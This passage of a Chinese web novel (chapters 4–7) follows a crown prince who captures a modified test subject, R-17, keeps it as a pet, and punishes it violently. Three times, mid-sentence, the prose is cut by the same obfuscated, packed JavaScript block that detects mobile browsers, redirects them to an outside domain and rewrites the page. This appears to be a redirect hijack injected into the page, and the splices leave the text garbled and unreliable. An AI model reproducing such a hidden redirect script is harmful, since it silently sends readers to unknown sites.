一股完全无法预料的锥心疼痛自胸口急速蔓延,时闻歌眼前一黑,双腿控制不住一软跪在地面,口中涌现腥甜,差点一口血喷出。 即使不知发生了什么,他尚存理智的那一部分还能意识到身体的情况。 胸痛、晕眩、乏力、呼吸困难……心源性猝死的常见症状,他甚至还有意识察觉到还有一声微不可察的声响。 叮当。 那把捅进R-17心脏的黑刃在不借助任何外力的情况下落了地。 这一次轮到太子殿下的眼中出现不可置信的情绪,他眼睁睁看见被一刀搅碎心脏已经确定死亡的R-17睁开了眼,尽管他还很虚弱,似乎连坐起身都做不到——但他分明已经死了啊! 发生了什么? 一个死人怎么能复活?! 此刻时间凝固,再聪明的头脑都理解不了现状,或者说从书出现的那刻起现实就如脱缰的野马奔向一个谁也无法预料的走向。太子殿下引以为傲的冷静再也维持不下去,眉头缩成一团,望着R-17出神。 书,R-17,小说主角。 电光火石之间他突然有了一个不那么科学但符合逻辑的假设。 “但我需要更多实验证明。”他喃喃自语道。 心脏幻痛持续得差不多了,四肢尚在可控范围内,时闻歌缓了口气,拖着身体再次慢慢走到R-17身边。 手起刀落。 这一次R-17被捅穿太阳穴,一击致命,绝不拖泥带水。 然而时闻歌再一次跪下了,头疼欲裂,脑浆像是被刀狠狠搅了一圈,视觉短暂失明,意识断片不知道多长时间。 “……” “原来如此。” 如果说神明藏在宇宙之后操控这一切,如果说命运是生命的导演,那R-17就是命中注定被选中的主角,在他的剧情上演完成之前,他不被允许死亡。 在碰上预料之外的死亡后,一股冥冥之中的力量会将R-17维持在堪堪死亡前的生命体征,但宇宙需要平衡,维持R-17不死的代价必然要由别人支付。 换言之,小说主角受到的致命伤害会和捡到书的那个人平摊。 即是时闻歌,帝国皇太子殿下,是神明,是命运将他们绑在一起。一个合理的猜测,时闻歌的致命伤会由R-17分担,R-17的致命伤会由时闻歌承担,想要杀死R-17除非同时将他们两人杀死,中间相差一分一秒都不行。 “呵呵呵……”时闻歌笑出了声。 “哈哈哈哈……” 最近他在家里闲时偶尔会打开社交媒体,知晓帝都星近期掀起一阵养小动物的风潮,通常情况下,潮流都与时闻歌无关,他无法理解为什么R-17不被允许死亡,就像他不理解人为什么要养猫养狗养一些费时费力不讨好还对自己毫无益处的东西。 现在他明白了。 时闻歌咽下满口血腥,摸索斗篷底下衣兜通讯终端,向外发送援助请求,顺带将迷迷瞪瞪再次睁开眼的R-17一拳打昏,丢在一边。 因为是人类。 人类是一种很无聊的生物,就喜欢养点没用的废物。 4. 第 4 章 仲夏夜深夜十一点,安瑟伦被一条加密短信吵醒,跨上自己心爱的鬼火摩托驱车前往郊区森林。 一路迈过积水的泥泞,翻过张牙舞爪的灌木,等越过一片鬼影憧憧的枝条和半路废弃的车厢后,他终于来到短信提示的指定地点。 不是谁都能拥有怪物一般的夜视能力,尤其是雇佣兵们为了伪装大多穿着迷彩或者纯黑的作战服,安瑟伦目视前方大步向前,吧唧一声,一脚踩在一块柔软而富有弹性的不妙物体上。 他一动也不敢动,抬头,面容诚恳:“兄弟,帮你收尸不会影响我的毕业学分吧?” 片刻更为不妙的沉默,视网膜捕捉不远处倚靠在树干的另一个身影开口:“人不是我杀的。” 安瑟伦松了口气:“那就好。” 时闻歌话锋一转:“但我的确是叫你来收尸的。” 安瑟伦:“……” 是这样的,人这一生中,总会有那么一回、两回、三四五六七八回帮好兄弟收拾烂摊子,是兄弟总不能见死不救对不对? 安瑟伦其人,半个孤儿出身,拜早死的妈所赐,现在有钱无权没势大学快毕业,前途一片光明,若说人生有那么一点遗憾,那大概是小时候认识了时闻歌当他的朋友吧。 外人看来也许和堂堂皇室攀上关系是件无比荣耀的事,但只有安瑟伦知道他这位发小究竟有多难搞定,他任劳任怨地按照时闻歌的指示把尸体搬到指定地点,反倒是指使他的人大爷一样悠哉悠哉从某具尸体扒拉一块防水遮光布,将脚边人形长条状的不明物体裹得严严实实。 “这是什么?也要我一起处理了?” 安瑟伦边说边靠近,想要确认布料包裹的究竟是什么玩意,却没想到时闻歌横插一脚,阻隔在他和包裹之间,挡得严严实实。 “我是让你来收尸的,”时闻歌朝他勾了勾嘴角,好心提醒道,“不是来收你的尸的。” “这么危险?” “猛兽,被改造过,野性难驯。” 时闻歌蹲下身,想必猛兽也是需要呼吸的,他用小刀在裹尸布表面划了两道,修长十指在包裹表面慢慢用布条打了一个再标准不过的蝴蝶结。 做完这一切后,他将包裹扛在身后,用依旧温和但不容置疑的语气看向安瑟伦:“我希望你能帮我尽量抹掉今晚我出现在这里的全部痕迹,”虽然可能瞒不了多久吧,“再以你的名义采购一部分药品和实验器材送到郊外我居住的行宫,对了,今晚你开我的车回去。” 他想了想,又补充道:“另外帮我找一个心理医生,要地下黑医,身份隐蔽,技术够好。” 时闻歌接着说:“我对道德没有要求,手上不干净的也可以。” 这个要求倒是不难,脑中瞬间拉过一串名单,安瑟伦立马应了:“行。” 天色太暗,丝丝缕缕的雨像纱一样模糊天空与森林的边际,遥远望去余留浓淡不一的黑,也让安瑟伦没能注意到时闻歌脸色仍然残留着和衣衫一样的苍白。 脑震荡、脏器破裂、手臂可怖的咬伤和抓痕……人体自我修复的能力超乎想象,伤口在等待安瑟伦的这段时间内恢复到不影响行动的程度,至少从时闻歌此时扛起R-17的动作看不出什么端倪。 他清楚记得来时的路,被一刀戳爆的视觉也渐渐回归,扛起重物的时闻歌走回他的古董车边,后备箱车盖自动升起,他一把将肩上的裹尸袋丢进去,砸出好大一声咚。 安瑟伦就跟在时闻歌身后前后脚到,他看见后备箱车盖重重一压,将黑色长条的不明物体彻底封死在里面。 谋杀现场啊兄弟。 “没事的,没事的,目击者应该不扣学分,”安瑟伦自言自语安慰自己,而后抬高音量问发小,“活的玩意就这么丢进去没问题?” 以R-17泡在营养液罐子里那么久还能生龙活虎和他打一架的程度而言,想必肺部功能也改造过。 时闻歌拉开副驾的门,非常遵守法律法规地给自己系上安全带,眼尾一扬示意人赶快过来开车:“我留了通风口。” 言下之意就是放着不管也不会死。 “真搞不懂你脑子在想什么,这么个玩意非要带回去,”安瑟伦坐进驾驶室,声纹启动时闻歌的车,颇有一种只要不影响我上学爱咋咋地破罐子破摔的颓废感,“看那样子是个人形吧,还是活的,你带回去要干嘛,我先说我学的不是生物和医学,人体实验这种事你别找我啊。” “你想多了。”时闻歌回答。 “那你带回去干嘛?” “养起来。” “然后呢?” 养个小动物还能有什么然后,时闻歌沉思几秒,语气肯定:“养到死。” “……你的思路真的很难理解啊老大。” 但安瑟伦发再多的牢骚都没用了,时闻歌望向窗外滑行为线的水滴,他的思绪已经和这无穷无尽的雨一起飞到谁也抓不到的高空,像一只鸟,所在意的也只是后备箱里那个“仅仅是活着的玩意”。 到目前为止安瑟伦的脑子都很清醒,没有脱口而出情啊爱啊之类莫名其妙的话,这是好消息,说明R-17的精神控制受到了限制。 就是不知道使他能力失效的到底是他的昏迷不醒还是防水布的物理隔绝。 时闻歌很自然地接受了饲养R-17的未来,但这不代表他喜欢这种不清不楚模糊不堪的感觉,所以接回R-17的首要任务是给他做一个从头到脚从内到外身心双重的体检,这也是他让安瑟伦预约心理医生的原因,他目前需要的是一个为什么R-17会如同野兽一样无法沟通的诊断结果。 但是。 以上都不是最急迫的。 越野车绕开有监控的大路,缓缓驶入太子殿下目前居住的行宫,正如新闻提到的那样,为了避免喧闹的市中心对虚弱生病的帝国皇太子有不好的影响,同时也是太子殿下对民众的体贴,时闻歌半年前搬到位于郊区和市区之间的行宫别苑,过着深居简出的生活。 除了几名沉默年老的仆人和机器人外,居住在这座偏远行宫的就只有时闻歌自己。他谢绝仆人的帮助,赶走蠢蠢欲动的安瑟伦,在对方”没良心啊把我当工具人召之即来挥之即去”的嘟哝中,一个人将裹尸袋扛进庭院。 再丢进地下室,丢在金属地板升腾起一圈久不见人的灰尘。 R-17恰好在此刻睁开了眼。 入目仅有如雪的白,白色的墙白色的地和白色的天花板,墙上没有窗户,分不清是在地上或是地下,是一个比罐子要宽广,也不会看什么都染上淡绿的房间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517442|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啊。 罐子。 罐子会让R-17联想到培育他的研究所,可是这里没有罐子,也没有永远无法消散的消毒水味,有的只是刺眼的灯光,和光秃秃的很像研究所禁闭室的空荡。 所以,这,哪里? R-17眉头皱在一起,这是他从苏醒到现在为止唯一的变化,然而他的动作到抬头的那一步便戛然而止,他与一双熟悉的眼睛对视,对方显然正在观察他。 “你醒了。”时闻歌坐在室内唯一一把椅子上,看起来和雨夜初见没有任何区别。 是敌人。 R-17缩回去,默默地想。 现在四肢使不上力气,随着胸口欺负心脏的贯穿伤反复崩裂又愈合,大脑被捅了一刀之后整个脑袋都乱糟糟的,甚至看东西只能看见模糊的轮廓。 时闻歌背后扎成低马尾的长发,在R-17眼中只是一团红棕色的影子,一团比他健康、比他更有战斗力的影子。 ……还是打不过的敌人。 R-17思考后又在心里为时闻歌添上一条备注,现在他开始感到一股莫名的心慌,心脏跳动触动神经带来的强烈阵痛竟让他产生了无法呼吸的窒息感。 打不过等同于不完美。 不完美的瑕疵品在研究所的下场只有一个,R-17很清楚,像他这样的实验品研究所内原本有很多个,他们大多没能赢过他,作为不合格的样本按照研究员口中的“处理”方式消失不见了——并非完全消失不见,他们的一部分会被保留下来,作为实验推进的证据和落满灰尘的装饰物,等待再次启用的那一天。 我……不…… “别发呆。”一个声音突然打断他。 R-17自清醒之后除了皱眉就再没有别的动作,时闻歌对一个脑子坏掉的家伙的想法也不是很感兴趣。 他偏了偏头:“看见了吗,那里。” 顺着视线看过去,是一扇门,用和天花板墙壁同色的漆刷成雪白,时闻歌继续说下去:“那是浴室。” 比身体检查更加急迫的是,是洗澡。 R-17现在还穿着那身破破烂烂的拘束衣,红的黑的混在一块,形成死抠也抠不下来的斑驳污秽,大块大块地覆盖全身,无论他的脸对人究竟有什么致命的吸引力,现在都只是一个看不出原貌的泥巴怪而已。 泥巴怪脏得有点挑战人类底线了,见R-17始终没有动,时闻歌决定把命令说得直白点:“把你自己洗干净,你太脏了,孤身边不留肮脏的东西。” “……” 这次R-17听懂了。 显而易见他的瞳孔圆睁,像是听见一个预料之中却又令他失望的答案,望向浴室的目光烛影般摇晃。 他扶着墙慢吞吞地站起,遵循时闻歌的命令往浴室的方向跌跌撞撞一步一步走过去,沿途伤口崩出了血,顺着躯体滴落溅出滴滴红花,却没能引起任何注意。 那个人说,洗干净,脏东西,一个不留。 就和每次实验后研究员说的一样,干净的东西留下,肮脏的东西被处理掉,有价值的人留下,有瑕疵的实验品被处理掉。 R-17默默握紧拳头。 ……虽然不想,但现在他好像就要成为那个被处理掉的脏东西了。 5. 第 5 章 R-17行走的步伐越来越快,当他迈进浴室,时闻歌的声音适时响起:“不准关门。” 他回头,就见时闻歌微笑着再次强调:“不允许脱离我的视线。” “……” 理所当然没有得到任何反馈,但R-17也没有做出违抗他的动作。 相对于空旷的地下室,浴室显得有些狭小,以R-17的身高勉强能在水池和淋浴喷头之间的空地转个圈,他研究了一会,发现打开墙壁上的按钮,头顶的金属块就会扑簌簌喷洒热水。墙壁瓷砖还镶嵌几个瓶子,他花了好几分钟才用相当笨拙和艰难的姿势辨认出这玩意不是炸弹和武器,是清洗的辅助工具。 没有门扉的阻碍,浴室哗啦哗啦的水声清晰地传了过来,温度升高,氤氲雾气缓慢地爬满整个空间。 时闻歌将椅子调转方向,正对浴室。他看见R-17背对他,撕掉粘在胸口和后腰的拘束衣碎片,似乎有点疼,一瞬间背上肌肉紧绷,像随时爆发的火山,而后透明水流冲开血块和污垢露出底下白皙却纵横交错的皮肤,蜿蜒地顺着薄薄的线条隐没在阴影中。 比起脊骨肌肉山峦般起伏的线条,更吸引人的是R-17腰椎六个碗口大的圆疤,那是实验管道穿刺留下的痕迹,通过穿刺将导管植入到脊髓之下,持续不断地用药物或是电流改造人体。 通常来说,被当作实验品的人年龄都不会大,R-17也是如此。 他比时闻歌矮小半个头,然而无论是凸起泛青的关节还是纤长偏瘦的体型都表明这个人尚处于生长期,书里的内容时闻歌草草翻过几页,里面并没有提到R-17三年后的体型,只提到过他非常高,鹤立鸡群的高。 时闻歌不太在意,具体有多高不重要,如今不过是一个发育不良的小怪物。 他既没有虐待也没有观赏小怪物的意图,不让关门也仅仅是想让R-17尽早习惯遵从他的命令,余光中R-17开始处理他黏在一起变成一坨的头发,他似乎不清楚什么叫适量,犹豫片刻后将整瓶洗发水倒在头上。 ……总体而言还算老实。 时闻歌收回目光,在搞清楚R-17能力具体限制前最好不要让别人接触他,太子殿下只好亲自起身上楼再下楼,纡尊降贵带回一大包生活用品。 就这么点功夫,R-17洗完了澡。 他出来的时候,时闻歌背对着他,听见动静侧身往浴室方向瞥了一眼,眼神没有变化,手上的活也没有停下。 养一只人前期需要很多准备工作,即使时闻歌不打算娇惯R-17,至少也得准备一张能睡觉的床和一个置物的架子。 一只小型机器人在脚边滴溜溜转,递给时闻歌螺丝刀和卡扣角片,很快散落一地的木板被组装在一起,床和置物架都有了粗糙的原型。 时闻歌头也不回,给出指令:“衣服在旁边,穿上,旁边是帮助伤口恢复的药物,一起吃了吧。” 现在他知道了,R-17能听懂他说的话,理解诸如洗澡、睡觉之类的基础指令。 小怪物总算不是一无是处,时闻歌本来还在头疼,如果R-17完全听不懂人话的话,限制他的自由,将目标从饲养换成囚禁会不会更简单一些。毕竟R-17只要安全地活着,之前那种两人一起分摊致命伤的情况就不会出现。 好在这种情况最后没有发生,时闻歌拧紧最后一颗螺丝,说:“时间不早了,睡觉吧。” R-17却始终没有出声。 他似乎不会说话,沉默着,刻意放轻呼吸,没有去触碰手边的胶囊和睡衣,而是站在时闻歌背后,盯着他的后颈,慢慢走进可以触手可及的攻击范围。 奇怪的人。 没有穿研究所的制服。 不是研究员。 研究所内的人只分两种,研究员,和实验品。 所以,他是很强的实验品。 被处理掉的实验品最终都会变成放在架子落满灰尘的装饰,他们是泡在福尔马林的断肢、大脑和脏器,瓶身贴着字迹潦草的标签,从R-01到R-16都有,再往后还有R-18和R-19,以及许多并不以R实验作为开头的编号。 从第一次见到这些标签起R-17就知道,如果他想保持完整,就必须完美。 他一直很完美,所有敌人都被他杀死了,不管他们是否有人形,不管他们说的是爱他还是恨他。 他是武器,不需要爱恨。 但这个人不同。 R-17意识到眼前这个人和他以往杀死的对象都不一样,不知什么原因,他不会在他面前失去理智,拥有足以抗衡甚至压倒他的力量,在他面前自己就如同幼鸟一般羸弱。 寻常的战斗方式无法战胜这个人,于是他回忆起几个小时前捅穿他心脏和大脑的动作,画面在脑海里清晰得可怕,他开始有生以来第一次自主学习战斗技巧。 腰腿发力。 手腕不动。 R-17的呼吸愈发放轻,几乎和空气融为一体,他背后藏了一块尖锐的瓷砖碎片,是刚刚洗澡趁时闻歌不注意偷偷掰下来的,如今刚好做偷袭的刀。现在他直勾勾地盯着时闻歌的后颈,就像盯着头顶一排冰冷潦草的标本标签,而后风一动,整个人化作利刃突刺,冲向时闻歌的侧颈动脉! 时间在这一刻被拉长到永远。 风吹到时闻歌的皮肤表面,就在同一时间,时闻歌回头,仿佛背后长了眼睛,单手轻轻一扣,居然牢牢抓住R-17想要捅穿他的那只手腕! 瓷砖尖端距离他的眼珠只有不到一公分,碧绿的瞳孔被截面土渣溢满,时闻歌就着这个姿势纹丝不动,声音平稳无波:“你干什么?” 似乎也不需要R-17的回答。 即使他不会说话,即使他没有人类社会的正常认知,脸上的表情写明目的。 杀、了、你! 只要杀了你,我仍然是完美的! “为什么要杀我,我可是收留了你,是把我认成实验室的人了吗?”时闻歌勾了勾嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517443|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唇,“看来我们中间似乎存在误会。” 他仰望R-17溢满杀意的红瞳,还有此前没能注意到的眼尾小痣,洗完澡之后他没有擦拭,水珠顺着来时路一滴滴落在时闻歌的衬衫,晕染出半透明的圆形水渍。 时闻歌注视着他,那双瞳孔里没有憎恨也没有厌恶,有的只是习惯杀戮和遵循被洗脑灌输规则的本能。 “我不是地下研究所那帮人,”他说,“我不会因为忌惮你的能力而将你关进水牢,我也不会把你送上实验台,去接受无聊且没有意义的实验。” “当然,如果比起床你更喜欢泡进罐子的话,我也可以满足你的心愿。”时闻歌缓慢地眨了眨眼睛,以期能吹散地下室内浓稠到粘腻的紧张空气,“只要你听话。” 突然,他抓住R-17的手狠狠往下一扯,另一只手抬起拍了拍用力到坚硬的后背,似乎在安抚。 R-17的脸猝然在眼前放大,时闻歌能清晰看见他紧缩竖缝的瞳孔中自己的倒影,他贴近R-17,几乎是用气音在说:“那些不重要的人,没有意义的东西都忘了吧,你的眼里只有我,你的心里只能有我,你只需要听从我的命令。” “我们之间不是研究员和实验体的关系,也并非两个陌生人,你我的命运已经注定。” 他一字一顿地说。 “我,是你的主人。” 尽管他捡回来的小狗到现在没说过一句话,没有常识,认知似乎也被扭曲坍塌到几近废墟,还废物到连自己的能力都无法掌控。 但是没有关系,仁慈的主人会包容一切。 沉默蔓延近乎窒息,时闻歌开口:“那么,我现在放开你,你穿上衣服,吃了药,然后去睡觉,好吗?” 耳边可见剧烈的喘息,他摸了摸R-17的头,看他就像猫科动物遭遇生命危险时那样抗拒。 可怜,可爱的R-17。 时闻歌友好地松开钳制住R-17的双手,他看见R-17满目全都是警惕,一点点向远离他的方向后退。他在思考,在挣扎,几分钟后在反抗和暂时性屈服之间选择了后者,悉悉索索的声音传来,将时闻歌准备好的睡衣乱七八糟地穿在身上。 夜深,他该睡觉了。 “等等。”时闻歌叫住R-17,走上前,牵起他的手。 时闻歌缺乏养东西的经验,他这时才想起人类幼崽闯祸之后,父母除了讲道理之外,通常还会讲明此次事件中对方的优点和缺点。 “很有活力,干净利落,”他夸赞R-17刺杀他的动作,“学习能力也很强,只看过一次就学会我的动作。” “但是。” 瓷砖碎片还死死握在掌心,时闻歌手指兀自发力折断那只手腕,拧断他的骨头,将胶囊旁边的强效麻醉针狠狠扎进R-17胸口,再顺带用手指将治疗胶囊塞入咽喉躲过条件反射的反击。 在R-17因恨意和震惊而扭曲的瞳孔中,他微笑着说明缺点。 “但违逆孤的人需要被惩罚。” 6. 第 6 章 深夜,R-17做起了梦。 他是一只被丝线束缚的木偶,以吊死的姿态抛入深渊,无尽的黑暗像沼泽,他在下坠、下坠,徒劳挣扎,试图抓住一些腐烂的碎片。 “……他醒了,指标……完美……” “得花点时间让他适应新身体,实战更快……” 滴滴两声,是培养容器内部抽空液体的声音,他大概是回到了记忆的最初,实验推进到下一阶段,他得以离开培养液,走进角斗场,开始实战训练。 天空是银白的钢板,高处那个人看不见脸,R-17只听见他的声音。 “R-17,杀死他。” “不……”R-17发出微弱的抗拒。 天空爆发一阵激烈的争吵,似乎研究员们因为他的抗拒产生分歧,很快那个没有脸的男人再一次发声:“R-17,服从命令,杀死他。” 实际上不管男人有没有再次下达指令,R-17都不得不动起来了,他面前的人……或许是人类的狰狞生物眼白逐渐发红,口水不知不觉滴在胸前和地板,欲望在沉沦,都不需要高处男人的第三次命令,他就朝R-17扑了过来。 那是R-17第一次杀人。 他被血喷了一脸,一直在高处远观的男人夸奖道:“很好,R-17,完美的兵器只需要服从我的命令,不需要仁慈和软弱。” 但事后R-17仍因为他的抗拒得到了小小的教训,被绑在实验台上,研究员发觉他的魅力不受控制,试图用几百乃至上万伏不同强度的电击帮助他掌控自己的能力。 而后是第二次、第三次……无数次从罐中醒来,又带着血腥沉睡,R-17杀了很多人,其中有人形的东西,有没有人形的一坨烂肉,有几个被处决的研究员,更多的是和他一样的实验品。有时候他会反抗,有时候不会,反抗会被惩罚,顺从则得到安稳。 梦里的碎片都很不讲道理,R-17清楚地意识到这点,回忆快速掠过每一个死掉的人的面孔,像是旧时代的泛黄胶片一样模糊。 然而画面一转,又变得清晰了。 R-17还是站在银白的实验场,对面却不是任何一个曾经死在他手上的生物,而是一层玻璃,玻璃对面有一个黑影,似乎是一个人。 那个人怜悯地说:“可怜的小东西,被关在这种地方,你想不想和我离开这里?” ——不。 他不会也不应该想。 R-17站在原地一动不动。 他是最锋利的刀,最可怕的刃,他拥有绝佳的武器性能,是研究所内最完美的人造兵器。 他应当按照研究所给予的规则而被使用,而不该生出别的额外的心思。 …… 第二天一早,按照约定前来的安瑟伦大喇喇从正门走进太子休养的庄园,他带来的人暂时在会客厅等待,本人则被时闻歌叫进书房。 “干什么,”关上房门后安瑟伦问,前方正对着的墙壁放下一块幕布,正在投影监控器实时画面。 画面有点熟悉,他看了一会,认出是时闻歌家的地下室,但原本空荡荡的房间住进了人。 他疑惑道:“这是谁?” “昨天捡回来的东西。”时闻歌答道。 “……你真把人养家里了啊?” 时闻歌没回答,挑眉却很有“是的我就这么做了那又怎样”的意味,皇太子就是皇太子,就算丢进郊区养病的皇太子也依旧这么独断专行,丝毫没有理会安瑟伦话中未尽的意思。 安瑟伦抽了抽嘴角,不甘愿地憋住吐槽,继续看监控器转播,很快被画面中的R-17吸引了注意力。 R-17抱住膝盖蜷缩着,头埋得很低,以一种接近子宫中的婴儿的姿势沉睡,几个呼吸之后他似乎是被噩梦惊醒,睁开眼猛然坐起,双手无所适从地乱抓一气,把床单被子连同时闻歌昨夜搭好的床一掌拍成碎屑,然后他突然意识到什么,手无力地垂落,直愣愣地盯着墙板不动了。 如果不是胸口略有起伏,安瑟伦甚至怀疑静止不动的R-17其实是一具空洞的美丽人偶,值得被小心珍藏,束之高阁,永不见天日。 诶。等等,不对我是个直男啊!怎么会有这么恶心的想法! 安瑟狂搓自己不存在的鸡皮疙瘩,撤回望向监控器画面的目光,问时闻歌:“他这是怎么了?” 时闻歌一直坐在书桌后面,单手托起下巴,睁眼说废话:“睡醒了。” “……”安瑟伦,“我看得见。” “一个被摧毁了自我认知的人,一直以来被灌输的概念是要么杀死敌人要么被杀,现在他杀不了我,自己却没死,甚至没有得到任何处理,没有人就这件事向他问责,这不符合他脑中的规则。” 安瑟伦试探地问:“所以?” “所以,他宕机了。”时闻歌起身,“另外告诉你一件事,R-17具备特殊的能力,会改变一定范围内人的激素水平以达到精神控制的效果。” 他看向安瑟伦,见他神采奕奕,精神焕发,并无被控制的倾向,勾起嘴唇下定结论:“不过看来这种能力隔着监控器应当不会起效,现在可以让你带来的心理医生进来了。” 反应过来时闻歌单独叫自己进来的目的的安瑟伦:“淦!” 我当兄弟是兄弟,兄弟当我小白鼠! 意识到自己无意中充当了一回实验素材的安瑟伦在书房中无能狂怒,脚步生风咣咣在房间内绕圈,时闻歌全当他不存在,然而庄园空旷寂寥,声音像棉絮一样被吹得到处都是,单薄的敲门声响了两下便被一连串沉重的脚步声打断。 安瑟伦浑然未觉,还是时闻歌一个眼神按下这头绕个不停的大块头,开口:“请进。” “日安,太子殿下。” 来人轻轻推开门,一身尽量让病人感到放松的休闲正装也不免显得有些拘谨,他向门内的两人鞠躬,“我是新来的心理医生。” “日安。”时闻歌得体地回应。 而他边上,安瑟伦轻咳一声假装无事发生,在手腕上的通讯设备劈里啪啦敲字,跟时闻歌咬耳朵:“他姓谢,按照你的要求,平民出身,背景简单,原本是精神科医生,几年前因为使用非法药物导致多名患者精神失常而被吊销了行医执照,现在是下城区的一名心理咨询师——不太正规的那种。” “我记得我的要求中还有一条是技术不错?” 安瑟伦嘻笑:“皇家生命科学院临床医学和心理学双学位毕业,至少人家理论知识扎实呀。” 也行吧。 时闻歌抬头看向医生。 小谢医生看上去没有安瑟伦吹得那样天花乱坠,也许是医疗事故磨平了棱角,又或是因为此前的客人大多是平民而非高高在上的皇太子,他站在门边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517444|170652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些紧张,站也不是,坐也不是,强装镇定地目光在二人之间逡巡,最终落在时闻歌身上。 “太子殿下,咳,我是来为您治疗的。” 小谢医生也看过昨天的新闻。 在一堆天然气爆炸、寻找幸存者的新闻中间,皇室对外发布了皇太子因病修养的消息。这一消息和他在下城区的生活隔得太远,哪知道临睡前中介突然一通电话把他叫醒,说太子殿下私底下正寻找一名心理医生为他上门诊治,找着找着就找到了他。 私下,黑医,偷偷摸摸的。 这太子不会得了什么不能说的隐疾吧…… 尤其是初见时闻歌看上去也不像是身体出了毛病,那大概率就是心理问题了。小谢医生很难不将新闻和时闻歌的私下委托联系在一块,对方身份高贵又大概率涉及到皇家秘辛,小谢医生花了一晚上纠结要不要接,最终看在丰厚的报酬上还是来了。 “那个,”小谢医生再次发声,“殿下,您有什么不舒服的都可以跟我说,我们聊聊吧。” “失眠、焦虑、多梦等等,任何会让您困扰的症状都可以。” 时闻歌没有回答,深邃的绿眼睛在他身上停留了一会,像是在考量着什么,最终他选择垂下眼眸,像是不感兴趣地挪开,转向正播放监控器实时画面的雪白墙壁。 下巴一抬,时闻歌指示小谢医生看向那里:“你要治疗的不是我,是里面那位。” “啊???” “哈,哈哈,不好意思不好意思。”看来不是皇室秘辛了,小谢医生干笑两声,见太子殿下似乎不打算计较他的无礼,便顺着目光看向显示器。 很难形容看到监控器那一刻的震撼。 他看见了一个孤坐的人,尽管电子信号传导的画面有些失真,他依旧看见了白发高洁如同神明,红瞳黯淡如同幽魂,美丽这个词在这一刻被具现化了,他就是美丽的代名词。 “他……” 小谢医生对着墙壁发呆的时间太久了,久到时闻歌食指屈起,敲了敲桌面,叫他回神:“谢医生,你这是怎么了?” “哦,哦,没事,没事,我就是走了下神。”小谢医生猛地回头,像被吓了一跳,“患者是这位对吧,殿下。” 他强迫自己看向时闻歌,其实光从五官的精致程度和气质而言,时闻歌并不比监控器中的人要差,鼻梁高挑,下颌线锋利,沉默的时候犹如一块深埋三千尺的寒冰,但只要他略微勾起嘴唇,这种坚冰般的冷冽气质便立刻春雪消融,让人忍不住生出想要亲近的好感。 但是为什么会不一样呢……? 未知的不属于正常人类的信息素在地下室蔓延扩散,却因为钢筋铁骨和混凝土的阻隔被层层削减,它的触角达到不了二楼的书房,但时闻歌依旧在静静观察小谢医生的表情。 看来除了信息素本身,R-17被设定成了看见他的样貌也同样会影响激素的分泌水平,不过这种影响比起直面他要微乎其微,即使个体之间存在差异,都不至于达到精神控制的程度,如同刚才他只是敲了敲桌子,小谢医生就回了神。 但他依旧不喜欢小谢医生盯着R-17充满侵占欲的眼神,那是他的宠物,他的所有物,身上刻下属于时闻歌的烙印,一个正常人应当学会避嫌。 因此他打断小谢医生的呆滞,承认:“对,患者是他,现在可以开始诊疗了吗?” 7. 第 7 章 “患者表现为梦魇、惊梦,时而狂躁时而对外界刺激反应微弱,同时伴随着严重的失语症状和认知障碍,”小谢医生道。 时闻歌没有开口,而是静静地听。 诊疗已经持续了一段时间,现在时闻歌确定小谢医生在心理诊疗和精神鉴定方面的确对得起他的学历,极其快速地总结了R-17的各种症状。 小谢医生在自己随身携带的本子写写画画,斟酌着提出进一步的需求:“就是不知道患者现在这种情况是生理原因还是心理原因导致的,也许和患者面对面交谈能更容易确定病因,殿下您看……” 这个要求被时闻歌理所当然地拒绝了:“他比你想象得更危险,医生。” “但是……”小谢医生还想再说些什么,就见时闻歌打开书桌右下方第一格抽屉,抽出一叠花花绿绿的纸质文件,这年头已经很少有人用纸张记录文字和数据,如此复古的方式使得小谢医生忍不住伸长脑袋看了一眼,封面第一张赫然是一张血液检测报告。 再往下看,脑部CT结果,全身核磁共振,AI细胞分析析片……纵然大部分的数据都被糊成一团马赛克,想必是机密数据不想被他这个外人知晓,但小谢医生仍然看得出来,报告的主人健康得不得了。 “这……”他有点懵。 “不是生理性的。”时闻歌慢悠悠道,“我都检查过了。” 他现在是一个“生了病”的皇太子,尽管他能大晚上顶着雨夜到处跑,还能一拳一个小朋友,完全不是一个病弱的人该有的状态。其实整个皇室都心知肚明时闻歌所谓的生病修养不过是一个幌子,是一个迫使他远离皇位争斗的借口,但庄园内该有的设备全都有,精心准备地好似它真的拥有一位病弱的皇子当主人。 旁听的安瑟伦插嘴:“你什么时候做的检查?” “昨晚。”趁R-17昏迷后抽走他的血,再唤来医疗机器人为他检查,做主人的总要尽职尽责,时闻歌理直气壮回应,“有什么问题吗?” 